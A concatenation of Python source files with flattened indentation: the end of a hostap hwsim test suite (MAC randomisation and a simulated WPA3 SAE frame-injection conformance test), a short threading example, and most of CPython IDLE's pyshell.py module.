dev[0].set("gas_rand_mac_addr", "0", allow_fail=True)
dev[0].set("gas_rand_addr_lifetime", "60", allow_fail=True)
out = run_tshark(os.path.join(logdir, "hwsim0.pcapng"),
"wlan.addr == " + addr,
display=["wlan.ta"])
res = out.splitlines()
if len(res) > 0:
raise Exception("Permanent address used unexpectedly")
def test_sigma_dut_wpa3_inject_frame(dev, apdev):
"""sigma_dut and WPA3 frame inject"""
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
ssid = "test-sae"
params = hostapd.wpa2_params(ssid=ssid, passphrase="12345678")
params['wpa_key_mgmt'] = 'SAE'
params["ieee80211w"] = "2"
params["ocv"] = "1"
params['sae_groups'] = '19 20 21'
hapd = hostapd.add_ap(apdev[0], params)
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,WPA3" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_wireless,interface,%s,program,WPA3,ocvc,1" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,%s,passphrase,%s,type,SAE,encpType,aes-ccmp,keymgmttype,wpa2" % (ifname, "test-sae", "12345678"))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-sae"),
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd("dev_send_frame,interface,%s,program,WPA3,framename,SAQueryReq,OCIChannel,2" % ifname)
sigma_dut_cmd("dev_send_frame,interface,%s,program,WPA3,framename,SAQueryReq,OCIChannel,1" % ifname)
sigma_dut_cmd("dev_send_frame,interface,%s,program,WPA3,framename,ReassocReq" % ifname)
hwsim_utils.test_connectivity(dev[0], hapd)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
|
thread3.py | # Python Program To Pass Argument To A Function And Execute It Using A Thread
'''
Function Name : Pass Argument To A Function And Execute It Using A Thread
Function Date : 3 Oct 2020
Function Author : Prasad Dangare
Input : String
Output : String
'''
from threading import* # Create A Thread Without Using A Class
# Create A Function
def display(str):
print(str)
# Create A Thread And Run The Function For 5 Times
for i in range(5):
t = Thread(target=display, args=('Hello', ))
t.start() |
pyshell.py | #! /usr/bin/env python3
import sys
if __name__ == "__main__":
sys.modules['idlelib.pyshell'] = sys.modules['__main__']
try:
from tkinter import *
except ImportError:
print("** IDLE can't import Tkinter.\n"
"Your Python may not be configured for Tk. **", file=sys.__stderr__)
raise SystemExit(1)
# Valid arguments for the ...Awareness call below are defined in the following.
# https://msdn.microsoft.com/en-us/library/windows/desktop/dn280512(v=vs.85).aspx
if sys.platform == 'win32':
try:
import ctypes
PROCESS_SYSTEM_DPI_AWARE = 1
ctypes.OleDLL('shcore').SetProcessDpiAwareness(PROCESS_SYSTEM_DPI_AWARE)
except (ImportError, AttributeError, OSError):
pass
import tkinter.messagebox as tkMessageBox
if TkVersion < 8.5:
root = Tk() # otherwise create root in main
root.withdraw()
from idlelib.run import fix_scaling
fix_scaling(root)
tkMessageBox.showerror("Idle Cannot Start",
"Idle requires tcl/tk 8.5+, not %s." % TkVersion,
parent=root)
raise SystemExit(1)
from code import InteractiveInterpreter
import linecache
import os
import os.path
from platform import python_version
import re
import socket
import subprocess
from textwrap import TextWrapper
import threading
import time
import tokenize
import warnings
from idlelib.colorizer import ColorDelegator
from idlelib.config import idleConf
from idlelib import debugger
from idlelib import debugger_r
from idlelib.editor import EditorWindow, fixwordbreaks
from idlelib.filelist import FileList
from idlelib.outwin import OutputWindow
from idlelib import rpc
from idlelib.run import idle_formatwarning, PseudoInputFile, PseudoOutputFile
from idlelib.undo import UndoDelegator
HOST = '127.0.0.1' # python execution server on localhost loopback
PORT = 0 # someday pass in host, port for remote debug capability
# Override warnings module to write to warning_stream. Initialize to send IDLE
# internal warnings to the console. ScriptBinding.check_syntax() will
# temporarily redirect the stream to the shell window to display warnings when
# checking user's code.
warning_stream = sys.__stderr__ # None, at least on Windows, if no console.
def idle_showwarning(
message, category, filename, lineno, file=None, line=None):
"""Show Idle-format warning (after replacing warnings.showwarning).
The differences are the formatter called, the file=None replacement,
which can be None, the capture of the consequence AttributeError,
and the output of a hard-coded prompt.
"""
if file is None:
file = warning_stream
try:
file.write(idle_formatwarning(
message, category, filename, lineno, line=line))
file.write(">>> ")
except (AttributeError, OSError):
pass # if file (probably __stderr__) is invalid, skip warning.
_warnings_showwarning = None
def capture_warnings(capture):
"Replace warning.showwarning with idle_showwarning, or reverse."
global _warnings_showwarning
if capture:
if _warnings_showwarning is None:
_warnings_showwarning = warnings.showwarning
warnings.showwarning = idle_showwarning
else:
if _warnings_showwarning is not None:
warnings.showwarning = _warnings_showwarning
_warnings_showwarning = None
capture_warnings(True)
def extended_linecache_checkcache(filename=None,
orig_checkcache=linecache.checkcache):
"""Extend linecache.checkcache to preserve the <pyshell#...> entries
Rather than repeating the linecache code, patch it to save the
<pyshell#...> entries, call the original linecache.checkcache()
(skipping them), and then restore the saved entries.
orig_checkcache is bound at definition time to the original
method, allowing it to be patched.
"""
cache = linecache.cache
save = {}
for key in list(cache):
if key[:1] + key[-1:] == '<>':
save[key] = cache.pop(key)
orig_checkcache(filename)
cache.update(save)
# Patch linecache.checkcache():
linecache.checkcache = extended_linecache_checkcache
class PyShellEditorWindow(EditorWindow):
"Regular text edit window in IDLE, supports breakpoints"
def __init__(self, *args):
self.breakpoints = []
EditorWindow.__init__(self, *args)
self.text.bind("<<set-breakpoint-here>>", self.set_breakpoint_here)
self.text.bind("<<clear-breakpoint-here>>", self.clear_breakpoint_here)
self.text.bind("<<open-python-shell>>", self.flist.open_shell)
#TODO: don't read/write this from/to .idlerc when testing
self.breakpointPath = os.path.join(
idleConf.userdir, 'breakpoints.lst')
# whenever a file is changed, restore breakpoints
def filename_changed_hook(old_hook=self.io.filename_change_hook,
self=self):
self.restore_file_breaks()
old_hook()
self.io.set_filename_change_hook(filename_changed_hook)
if self.io.filename:
self.restore_file_breaks()
self.color_breakpoint_text()
rmenu_specs = [
("Cut", "<<cut>>", "rmenu_check_cut"),
("Copy", "<<copy>>", "rmenu_check_copy"),
("Paste", "<<paste>>", "rmenu_check_paste"),
(None, None, None),
("Set Breakpoint", "<<set-breakpoint-here>>", None),
("Clear Breakpoint", "<<clear-breakpoint-here>>", None)
]
def color_breakpoint_text(self, color=True):
"Turn colorizing of breakpoint text on or off"
if self.io is None:
# possible due to update in restore_file_breaks
return
if color:
theme = idleConf.CurrentTheme()
cfg = idleConf.GetHighlight(theme, "break")
else:
cfg = {'foreground': '', 'background': ''}
self.text.tag_config('BREAK', cfg)
def set_breakpoint(self, lineno):
text = self.text
filename = self.io.filename
text.tag_add("BREAK", "%d.0" % lineno, "%d.0" % (lineno+1))
try:
self.breakpoints.index(lineno)
except ValueError: # only add if missing, i.e. do once
self.breakpoints.append(lineno)
try: # update the subprocess debugger
debug = self.flist.pyshell.interp.debugger
debug.set_breakpoint_here(filename, lineno)
except: # but debugger may not be active right now....
pass
def set_breakpoint_here(self, event=None):
text = self.text
filename = self.io.filename
if not filename:
text.bell()
return
lineno = int(float(text.index("insert")))
self.set_breakpoint(lineno)
def clear_breakpoint_here(self, event=None):
text = self.text
filename = self.io.filename
if not filename:
text.bell()
return
lineno = int(float(text.index("insert")))
try:
self.breakpoints.remove(lineno)
except:
pass
text.tag_remove("BREAK", "insert linestart",\
"insert lineend +1char")
try:
debug = self.flist.pyshell.interp.debugger
debug.clear_breakpoint_here(filename, lineno)
except:
pass
def clear_file_breaks(self):
if self.breakpoints:
text = self.text
filename = self.io.filename
if not filename:
text.bell()
return
self.breakpoints = []
text.tag_remove("BREAK", "1.0", END)
try:
debug = self.flist.pyshell.interp.debugger
debug.clear_file_breaks(filename)
except:
pass
def store_file_breaks(self):
"Save breakpoints when file is saved"
# XXX 13 Dec 2002 KBK Currently the file must be saved before it can
# be run. The breaks are saved at that time. If we introduce
# a temporary file save feature the save breaks functionality
# needs to be re-verified, since the breaks at the time the
# temp file is created may differ from the breaks at the last
# permanent save of the file. Currently, a break introduced
# after a save will be effective, but not persistent.
# This is necessary to keep the saved breaks synched with the
# saved file.
#
# Breakpoints are set as tagged ranges in the text.
# Since a modified file has to be saved before it is
# run, and since self.breakpoints (from which the subprocess
# debugger is loaded) is updated during the save, the visible
# breaks stay synched with the subprocess even if one of these
# unexpected breakpoint deletions occurs.
breaks = self.breakpoints
filename = self.io.filename
try:
with open(self.breakpointPath, "r") as fp:
lines = fp.readlines()
except OSError:
lines = []
try:
with open(self.breakpointPath, "w") as new_file:
for line in lines:
if not line.startswith(filename + '='):
new_file.write(line)
self.update_breakpoints()
breaks = self.breakpoints
if breaks:
new_file.write(filename + '=' + str(breaks) + '\n')
except OSError as err:
if not getattr(self.root, "breakpoint_error_displayed", False):
self.root.breakpoint_error_displayed = True
tkMessageBox.showerror(title='IDLE Error',
message='Unable to update breakpoint list:\n%s'
% str(err),
parent=self.text)
def restore_file_breaks(self):
self.text.update() # this enables setting "BREAK" tags to be visible
if self.io is None:
# can happen if IDLE closes due to the .update() call
return
filename = self.io.filename
if filename is None:
return
if os.path.isfile(self.breakpointPath):
with open(self.breakpointPath, "r") as fp:
lines = fp.readlines()
for line in lines:
if line.startswith(filename + '='):
breakpoint_linenumbers = eval(line[len(filename)+1:])
for breakpoint_linenumber in breakpoint_linenumbers:
self.set_breakpoint(breakpoint_linenumber)
def update_breakpoints(self):
"Retrieves all the breakpoints in the current window"
text = self.text
ranges = text.tag_ranges("BREAK")
linenumber_list = self.ranges_to_linenumbers(ranges)
self.breakpoints = linenumber_list
def ranges_to_linenumbers(self, ranges):
lines = []
for index in range(0, len(ranges), 2):
lineno = int(float(ranges[index].string))
end = int(float(ranges[index+1].string))
while lineno < end:
lines.append(lineno)
lineno += 1
return lines
# XXX 13 Dec 2002 KBK Not used currently
# def saved_change_hook(self):
# "Extend base method - clear breaks if module is modified"
# if not self.get_saved():
# self.clear_file_breaks()
# EditorWindow.saved_change_hook(self)
def _close(self):
"Extend base method - clear breaks when module is closed"
self.clear_file_breaks()
EditorWindow._close(self)
class PyShellFileList(FileList):
"Extend base class: IDLE supports a shell and breakpoints"
# override FileList's class variable, instances return PyShellEditorWindow
# instead of EditorWindow when new edit windows are created.
EditorWindow = PyShellEditorWindow
pyshell = None
def open_shell(self, event=None):
if self.pyshell:
self.pyshell.top.wakeup()
else:
self.pyshell = PyShell(self)
if self.pyshell:
if not self.pyshell.begin():
return None
return self.pyshell
class ModifiedColorDelegator(ColorDelegator):
"Extend base class: colorizer for the shell window itself"
def __init__(self):
ColorDelegator.__init__(self)
self.LoadTagDefs()
def recolorize_main(self):
self.tag_remove("TODO", "1.0", "iomark")
self.tag_add("SYNC", "1.0", "iomark")
ColorDelegator.recolorize_main(self)
def LoadTagDefs(self):
ColorDelegator.LoadTagDefs(self)
theme = idleConf.CurrentTheme()
self.tagdefs.update({
"stdin": {'background':None,'foreground':None},
"stdout": idleConf.GetHighlight(theme, "stdout"),
"stderr": idleConf.GetHighlight(theme, "stderr"),
"console": idleConf.GetHighlight(theme, "console"),
})
def removecolors(self):
# Don't remove shell color tags before "iomark"
for tag in self.tagdefs:
self.tag_remove(tag, "iomark", "end")
class ModifiedUndoDelegator(UndoDelegator):
"Extend base class: forbid insert/delete before the I/O mark"
def insert(self, index, chars, tags=None):
try:
if self.delegate.compare(index, "<", "iomark"):
self.delegate.bell()
return
except TclError:
pass
UndoDelegator.insert(self, index, chars, tags)
def delete(self, index1, index2=None):
try:
if self.delegate.compare(index1, "<", "iomark"):
self.delegate.bell()
return
except TclError:
pass
UndoDelegator.delete(self, index1, index2)
class MyRPCClient(rpc.RPCClient):
def handle_EOF(self):
"Override the base class - just re-raise EOFError"
raise EOFError
def restart_line(width, filename): # See bpo-38141.
"""Return width long restart line formatted with filename.
Fill line with balanced '='s, with any extras and at least one at
the beginning. Do not end with a trailing space.
"""
tag = f"= RESTART: {filename or 'Shell'} ="
if width >= len(tag):
div, mod = divmod((width -len(tag)), 2)
return f"{(div+mod)*'='}{tag}{div*'='}"
else:
return tag[:-2] # Remove ' ='.
class ModifiedInterpreter(InteractiveInterpreter):
def __init__(self, tkconsole):
self.tkconsole = tkconsole
locals = sys.modules['__main__'].__dict__
InteractiveInterpreter.__init__(self, locals=locals)
self.restarting = False
self.subprocess_arglist = None
self.port = PORT
self.original_compiler_flags = self.compile.compiler.flags
_afterid = None
rpcclt = None
rpcsubproc = None
def spawn_subprocess(self):
if self.subprocess_arglist is None:
self.subprocess_arglist = self.build_subprocess_arglist()
self.rpcsubproc = subprocess.Popen(self.subprocess_arglist)
def build_subprocess_arglist(self):
assert (self.port!=0), (
"Socket should have been assigned a port number.")
w = ['-W' + s for s in sys.warnoptions]
# Maybe IDLE is installed and is being accessed via sys.path,
# or maybe it's not installed and the idle.py script is being
# run from the IDLE source directory.
del_exitf = idleConf.GetOption('main', 'General', 'delete-exitfunc',
default=False, type='bool')
command = "__import__('idlelib.run').run.main(%r)" % (del_exitf,)
return [sys.executable] + w + ["-c", command, str(self.port)]
def start_subprocess(self):
addr = (HOST, self.port)
# GUI makes several attempts to acquire socket, listens for connection
for i in range(3):
time.sleep(i)
try:
self.rpcclt = MyRPCClient(addr)
break
except OSError:
pass
else:
self.display_port_binding_error()
return None
# if PORT was 0, system will assign an 'ephemeral' port. Find it out:
self.port = self.rpcclt.listening_sock.getsockname()[1]
# if PORT was not 0, probably working with a remote execution server
if PORT != 0:
# To allow reconnection within the 2MSL wait (cf. Stevens TCP
# V1, 18.6), set SO_REUSEADDR. Note that this can be problematic
# on Windows since the implementation allows two active sockets on
# the same address!
self.rpcclt.listening_sock.setsockopt(socket.SOL_SOCKET,
socket.SO_REUSEADDR, 1)
self.spawn_subprocess()
#time.sleep(20) # test to simulate GUI not accepting connection
# Accept the connection from the Python execution server
self.rpcclt.listening_sock.settimeout(10)
try:
self.rpcclt.accept()
except socket.timeout:
self.display_no_subprocess_error()
return None
self.rpcclt.register("console", self.tkconsole)
self.rpcclt.register("stdin", self.tkconsole.stdin)
self.rpcclt.register("stdout", self.tkconsole.stdout)
self.rpcclt.register("stderr", self.tkconsole.stderr)
self.rpcclt.register("flist", self.tkconsole.flist)
self.rpcclt.register("linecache", linecache)
self.rpcclt.register("interp", self)
self.transfer_path(with_cwd=True)
self.poll_subprocess()
return self.rpcclt
def restart_subprocess(self, with_cwd=False, filename=''):
if self.restarting:
return self.rpcclt
self.restarting = True
# close only the subprocess debugger
debug = self.getdebugger()
if debug:
try:
# Only close subprocess debugger, don't unregister gui_adap!
debugger_r.close_subprocess_debugger(self.rpcclt)
except:
pass
# Kill subprocess, spawn a new one, accept connection.
self.rpcclt.close()
self.terminate_subprocess()
console = self.tkconsole
was_executing = console.executing
console.executing = False
self.spawn_subprocess()
try:
self.rpcclt.accept()
except socket.timeout:
self.display_no_subprocess_error()
return None
self.transfer_path(with_cwd=with_cwd)
console.stop_readline()
# annotate restart in shell window and mark it
console.text.delete("iomark", "end-1c")
console.write('\n')
console.write(restart_line(console.width, filename))
console.text.mark_set("restart", "end-1c")
console.text.mark_gravity("restart", "left")
if not filename:
console.showprompt()
# restart subprocess debugger
if debug:
# Restarted debugger connects to current instance of debug GUI
debugger_r.restart_subprocess_debugger(self.rpcclt)
# reload remote debugger breakpoints for all PyShellEditWindows
debug.load_breakpoints()
self.compile.compiler.flags = self.original_compiler_flags
self.restarting = False
return self.rpcclt
def __request_interrupt(self):
self.rpcclt.remotecall("exec", "interrupt_the_server", (), {})
def interrupt_subprocess(self):
threading.Thread(target=self.__request_interrupt).start()
def kill_subprocess(self):
if self._afterid is not None:
self.tkconsole.text.after_cancel(self._afterid)
try:
self.rpcclt.listening_sock.close()
except AttributeError: # no socket
pass
try:
self.rpcclt.close()
except AttributeError: # no socket
pass
self.terminate_subprocess()
self.tkconsole.executing = False
self.rpcclt = None
def terminate_subprocess(self):
"Make sure subprocess is terminated"
try:
self.rpcsubproc.kill()
except OSError:
# process already terminated
return
else:
try:
self.rpcsubproc.wait()
except OSError:
return
def transfer_path(self, with_cwd=False):
if with_cwd: # Issue 13506
path = [''] # include Current Working Directory
path.extend(sys.path)
else:
path = sys.path
self.runcommand("""if 1:
import sys as _sys
_sys.path = %r
del _sys
\n""" % (path,))
active_seq = None
def poll_subprocess(self):
clt = self.rpcclt
if clt is None:
return
try:
response = clt.pollresponse(self.active_seq, wait=0.05)
except (EOFError, OSError, KeyboardInterrupt):
# lost connection or subprocess terminated itself, restart
# [the KBI is from rpc.SocketIO.handle_EOF()]
if self.tkconsole.closing:
return
response = None
self.restart_subprocess()
if response:
self.tkconsole.resetoutput()
self.active_seq = None
how, what = response
console = self.tkconsole.console
if how == "OK":
if what is not None:
print(repr(what), file=console)
elif how == "EXCEPTION":
if self.tkconsole.getvar("<<toggle-jit-stack-viewer>>"):
self.remote_stack_viewer()
elif how == "ERROR":
errmsg = "pyshell.ModifiedInterpreter: Subprocess ERROR:\n"
print(errmsg, what, file=sys.__stderr__)
print(errmsg, what, file=console)
# we received a response to the currently active seq number:
try:
self.tkconsole.endexecuting()
except AttributeError: # shell may have closed
pass
# Reschedule myself
if not self.tkconsole.closing:
self._afterid = self.tkconsole.text.after(
self.tkconsole.pollinterval, self.poll_subprocess)
debugger = None
def setdebugger(self, debugger):
self.debugger = debugger
def getdebugger(self):
return self.debugger
def open_remote_stack_viewer(self):
"""Initiate the remote stack viewer from a separate thread.
This method is called from the subprocess, and by returning from this
method we allow the subprocess to unblock. After a bit the shell
requests the subprocess to open the remote stack viewer which returns a
static object looking at the last exception. It is queried through
the RPC mechanism.
"""
self.tkconsole.text.after(300, self.remote_stack_viewer)
return
def remote_stack_viewer(self):
from idlelib import debugobj_r
oid = self.rpcclt.remotequeue("exec", "stackviewer", ("flist",), {})
if oid is None:
self.tkconsole.root.bell()
return
item = debugobj_r.StubObjectTreeItem(self.rpcclt, oid)
from idlelib.tree import ScrolledCanvas, TreeNode
top = Toplevel(self.tkconsole.root)
theme = idleConf.CurrentTheme()
background = idleConf.GetHighlight(theme, 'normal')['background']
sc = ScrolledCanvas(top, bg=background, highlightthickness=0)
sc.frame.pack(expand=1, fill="both")
node = TreeNode(sc.canvas, None, item)
node.expand()
# XXX Should GC the remote tree when closing the window
gid = 0
def execsource(self, source):
"Like runsource() but assumes complete exec source"
filename = self.stuffsource(source)
self.execfile(filename, source)
def execfile(self, filename, source=None):
"Execute an existing file"
if source is None:
with tokenize.open(filename) as fp:
source = fp.read()
if use_subprocess:
source = (f"__file__ = r'''{os.path.abspath(filename)}'''\n"
+ source + "\ndel __file__")
try:
code = compile(source, filename, "exec")
except (OverflowError, SyntaxError):
self.tkconsole.resetoutput()
print('*** Error in script or command!\n'
'Traceback (most recent call last):',
file=self.tkconsole.stderr)
InteractiveInterpreter.showsyntaxerror(self, filename)
self.tkconsole.showprompt()
else:
self.runcode(code)
def runsource(self, source):
"Extend base class method: Stuff the source in the line cache first"
filename = self.stuffsource(source)
self.more = 0
# at the moment, InteractiveInterpreter expects str
assert isinstance(source, str)
#if isinstance(source, str):
# from idlelib import iomenu
# try:
# source = source.encode(iomenu.encoding)
# except UnicodeError:
# self.tkconsole.resetoutput()
# self.write("Unsupported characters in input\n")
# return
# InteractiveInterpreter.runsource() calls its runcode() method,
# which is overridden (see below)
return InteractiveInterpreter.runsource(self, source, filename)
def stuffsource(self, source):
"Stuff source in the filename cache"
filename = "<pyshell#%d>" % self.gid
self.gid = self.gid + 1
lines = source.split("\n")
linecache.cache[filename] = len(source)+1, 0, lines, filename
return filename
def prepend_syspath(self, filename):
"Prepend sys.path with file's directory if not already included"
self.runcommand("""if 1:
_filename = %r
import sys as _sys
from os.path import dirname as _dirname
_dir = _dirname(_filename)
if not _dir in _sys.path:
_sys.path.insert(0, _dir)
del _filename, _sys, _dirname, _dir
\n""" % (filename,))
def showsyntaxerror(self, filename=None):
"""Override Interactive Interpreter method: Use Colorizing
Color the offending position instead of printing it and pointing at it
with a caret.
"""
tkconsole = self.tkconsole
text = tkconsole.text
text.tag_remove("ERROR", "1.0", "end")
type, value, tb = sys.exc_info()
msg = getattr(value, 'msg', '') or value or "<no detail available>"
lineno = getattr(value, 'lineno', '') or 1
offset = getattr(value, 'offset', '') or 0
if offset == 0:
lineno += 1 #mark end of offending line
if lineno == 1:
pos = "iomark + %d chars" % (offset-1)
else:
pos = "iomark linestart + %d lines + %d chars" % \
(lineno-1, offset-1)
tkconsole.colorize_syntax_error(text, pos)
tkconsole.resetoutput()
self.write("SyntaxError: %s\n" % msg)
tkconsole.showprompt()
def showtraceback(self):
"Extend base class method to reset output properly"
self.tkconsole.resetoutput()
self.checklinecache()
InteractiveInterpreter.showtraceback(self)
if self.tkconsole.getvar("<<toggle-jit-stack-viewer>>"):
self.tkconsole.open_stack_viewer()
def checklinecache(self):
c = linecache.cache
for key in list(c.keys()):
if key[:1] + key[-1:] != "<>":
del c[key]
def runcommand(self, code):
"Run the code without invoking the debugger"
# The code better not raise an exception!
if self.tkconsole.executing:
self.display_executing_dialog()
return 0
if self.rpcclt:
self.rpcclt.remotequeue("exec", "runcode", (code,), {})
else:
exec(code, self.locals)
return 1
def runcode(self, code):
"Override base class method"
if self.tkconsole.executing:
self.interp.restart_subprocess()
self.checklinecache()
debugger = self.debugger
try:
self.tkconsole.beginexecuting()
if not debugger and self.rpcclt is not None:
self.active_seq = self.rpcclt.asyncqueue("exec", "runcode",
(code,), {})
elif debugger:
debugger.run(code, self.locals)
else:
exec(code, self.locals)
except SystemExit:
if not self.tkconsole.closing:
if tkMessageBox.askyesno(
"Exit?",
"Do you want to exit altogether?",
default="yes",
parent=self.tkconsole.text):
raise
else:
self.showtraceback()
else:
raise
except:
if use_subprocess:
print("IDLE internal error in runcode()",
file=self.tkconsole.stderr)
self.showtraceback()
self.tkconsole.endexecuting()
else:
if self.tkconsole.canceled:
self.tkconsole.canceled = False
print("KeyboardInterrupt", file=self.tkconsole.stderr)
else:
self.showtraceback()
finally:
if not use_subprocess:
try:
self.tkconsole.endexecuting()
except AttributeError: # shell may have closed
pass
def write(self, s):
"Override base class method"
return self.tkconsole.stderr.write(s)
def display_port_binding_error(self):
tkMessageBox.showerror(
"Port Binding Error",
"IDLE can't bind to a TCP/IP port, which is necessary to "
"communicate with its Python execution server. This might be "
"because no networking is installed on this computer. "
"Run IDLE with the -n command line switch to start without a "
"subprocess and refer to Help/IDLE Help 'Running without a "
"subprocess' for further details.",
parent=self.tkconsole.text)
def display_no_subprocess_error(self):
tkMessageBox.showerror(
"Subprocess Connection Error",
"IDLE's subprocess didn't make connection.\n"
"See the 'Startup failure' section of the IDLE doc, online at\n"
"https://docs.python.org/3/library/idle.html#startup-failure",
parent=self.tkconsole.text)
def display_executing_dialog(self):
tkMessageBox.showerror(
"Already executing",
"The Python Shell window is already executing a command; "
"please wait until it is finished.",
parent=self.tkconsole.text)
class PyShell(OutputWindow):
shell_title = "Python " + python_version() + " Shell"
# Override classes
ColorDelegator = ModifiedColorDelegator
UndoDelegator = ModifiedUndoDelegator
# Override menus
menu_specs = [
("file", "_File"),
("edit", "_Edit"),
("debug", "_Debug"),
("options", "_Options"),
("window", "_Window"),
("help", "_Help"),
]
# Extend right-click context menu
rmenu_specs = OutputWindow.rmenu_specs + [
("Squeeze", "<<squeeze-current-text>>"),
]
allow_line_numbers = False
# New classes
from idlelib.history import History
def __init__(self, flist=None):
if use_subprocess:
ms = self.menu_specs
if ms[2][0] != "shell":
ms.insert(2, ("shell", "She_ll"))
self.interp = ModifiedInterpreter(self)
if flist is None:
root = Tk()
fixwordbreaks(root)
root.withdraw()
flist = PyShellFileList(root)
OutputWindow.__init__(self, flist, None, None)
self.usetabs = True
# indentwidth must be 8 when using tabs. See note in EditorWindow:
self.indentwidth = 8
self.sys_ps1 = sys.ps1 if hasattr(sys, 'ps1') else '>>> '
self.prompt_last_line = self.sys_ps1.split('\n')[-1]
self.prompt = self.sys_ps1 # Changes when debug active
text = self.text
text.configure(wrap="char")
text.bind("<<newline-and-indent>>", self.enter_callback)
text.bind("<<plain-newline-and-indent>>", self.linefeed_callback)
text.bind("<<interrupt-execution>>", self.cancel_callback)
text.bind("<<end-of-file>>", self.eof_callback)
text.bind("<<open-stack-viewer>>", self.open_stack_viewer)
text.bind("<<toggle-debugger>>", self.toggle_debugger)
text.bind("<<toggle-jit-stack-viewer>>", self.toggle_jit_stack_viewer)
if use_subprocess:
text.bind("<<view-restart>>", self.view_restart_mark)
text.bind("<<restart-shell>>", self.restart_shell)
squeezer = self.Squeezer(self)
text.bind("<<squeeze-current-text>>",
squeezer.squeeze_current_text_event)
self.save_stdout = sys.stdout
self.save_stderr = sys.stderr
self.save_stdin = sys.stdin
from idlelib import iomenu
self.stdin = PseudoInputFile(self, "stdin", iomenu.encoding)
self.stdout = PseudoOutputFile(self, "stdout", iomenu.encoding)
self.stderr = PseudoOutputFile(self, "stderr", iomenu.encoding)
self.console = PseudoOutputFile(self, "console", iomenu.encoding)
if not use_subprocess:
sys.stdout = self.stdout
sys.stderr = self.stderr
sys.stdin = self.stdin
try:
# page help() text to shell.
import pydoc # import must be done here to capture i/o rebinding.
# XXX KBK 27Dec07 use text viewer someday, but must work w/o subproc
pydoc.pager = pydoc.plainpager
except:
sys.stderr = sys.__stderr__
raise
#
self.history = self.History(self.text)
#
self.pollinterval = 50 # millisec
def get_standard_extension_names(self):
return idleConf.GetExtensions(shell_only=True)
reading = False
executing = False
canceled = False
endoffile = False
closing = False
_stop_readline_flag = False
def set_warning_stream(self, stream):
global warning_stream
warning_stream = stream
def get_warning_stream(self):
return warning_stream
def toggle_debugger(self, event=None):
if self.executing:
tkMessageBox.showerror("Don't debug now",
"You can only toggle the debugger when idle",
parent=self.text)
self.set_debugger_indicator()
return "break"
else:
db = self.interp.getdebugger()
if db:
self.close_debugger()
else:
self.open_debugger()
def set_debugger_indicator(self):
db = self.interp.getdebugger()
self.setvar("<<toggle-debugger>>", not not db)
def toggle_jit_stack_viewer(self, event=None):
pass # All we need is the variable
def close_debugger(self):
db = self.interp.getdebugger()
if db:
self.interp.setdebugger(None)
db.close()
if self.interp.rpcclt:
debugger_r.close_remote_debugger(self.interp.rpcclt)
self.resetoutput()
self.console.write("[DEBUG OFF]\n")
self.prompt = self.sys_ps1
self.showprompt()
self.set_debugger_indicator()
def open_debugger(self):
if self.interp.rpcclt:
dbg_gui = debugger_r.start_remote_debugger(self.interp.rpcclt,
self)
else:
dbg_gui = debugger.Debugger(self)
self.interp.setdebugger(dbg_gui)
dbg_gui.load_breakpoints()
self.prompt = "[DEBUG ON]\n" + self.sys_ps1
self.showprompt()
self.set_debugger_indicator()
def beginexecuting(self):
"Helper for ModifiedInterpreter"
self.resetoutput()
self.executing = 1
def endexecuting(self):
"Helper for ModifiedInterpreter"
self.executing = 0
self.canceled = 0
self.showprompt()
def close(self):
"Extend EditorWindow.close()"
if self.executing:
response = tkMessageBox.askokcancel(
"Kill?",
"Your program is still running!\n Do you want to kill it?",
default="ok",
parent=self.text)
if response is False:
return "cancel"
self.stop_readline()
self.canceled = True
self.closing = True
return EditorWindow.close(self)
def _close(self):
"Extend EditorWindow._close(), shut down debugger and execution server"
self.close_debugger()
if use_subprocess:
self.interp.kill_subprocess()
# Restore std streams
sys.stdout = self.save_stdout
sys.stderr = self.save_stderr
sys.stdin = self.save_stdin
# Break cycles
self.interp = None
self.console = None
self.flist.pyshell = None
self.history = None
EditorWindow._close(self)
def ispythonsource(self, filename):
"Override EditorWindow method: never remove the colorizer"
return True
def short_title(self):
return self.shell_title
COPYRIGHT = \
'Type "help", "copyright", "credits" or "license()" for more information.'
def begin(self):
self.text.mark_set("iomark", "insert")
self.resetoutput()
if use_subprocess:
nosub = ''
client = self.interp.start_subprocess()
if not client:
self.close()
return False
else:
nosub = ("==== No Subprocess ====\n\n" +
"WARNING: Running IDLE without a Subprocess is deprecated\n" +
"and will be removed in a later version. See Help/IDLE Help\n" +
"for details.\n\n")
sys.displayhook = rpc.displayhook
self.write("Python %s on %s\n%s\n%s" %
(sys.version, sys.platform, self.COPYRIGHT, nosub))
self.text.focus_force()
self.showprompt()
import tkinter
tkinter._default_root = None # 03Jan04 KBK What's this?
return True
def stop_readline(self):
if not self.reading: # no nested mainloop to exit.
return
self._stop_readline_flag = True
self.top.quit()
def readline(self):
save = self.reading
try:
self.reading = 1
self.top.mainloop() # nested mainloop()
finally:
self.reading = save
if self._stop_readline_flag:
self._stop_readline_flag = False
return ""
line = self.text.get("iomark", "end-1c")
if len(line) == 0: # may be EOF if we quit our mainloop with Ctrl-C
line = "\n"
self.resetoutput()
if self.canceled:
self.canceled = 0
if not use_subprocess:
raise KeyboardInterrupt
if self.endoffile:
self.endoffile = 0
line = ""
return line
def isatty(self):
return True
def cancel_callback(self, event=None):
try:
if self.text.compare("sel.first", "!=", "sel.last"):
return # Active selection -- always use default binding
except:
pass
if not (self.executing or self.reading):
self.resetoutput()
self.interp.write("KeyboardInterrupt\n")
self.showprompt()
return "break"
self.endoffile = 0
self.canceled = 1
if (self.executing and self.interp.rpcclt):
if self.interp.getdebugger():
self.interp.restart_subprocess()
else:
self.interp.interrupt_subprocess()
if self.reading:
self.top.quit() # exit the nested mainloop() in readline()
return "break"
def eof_callback(self, event):
if self.executing and not self.reading:
return # Let the default binding (delete next char) take over
if not (self.text.compare("iomark", "==", "insert") and
self.text.compare("insert", "==", "end-1c")):
return # Let the default binding (delete next char) take over
if not self.executing:
self.resetoutput()
self.close()
else:
self.canceled = 0
self.endoffile = 1
self.top.quit()
return "break"
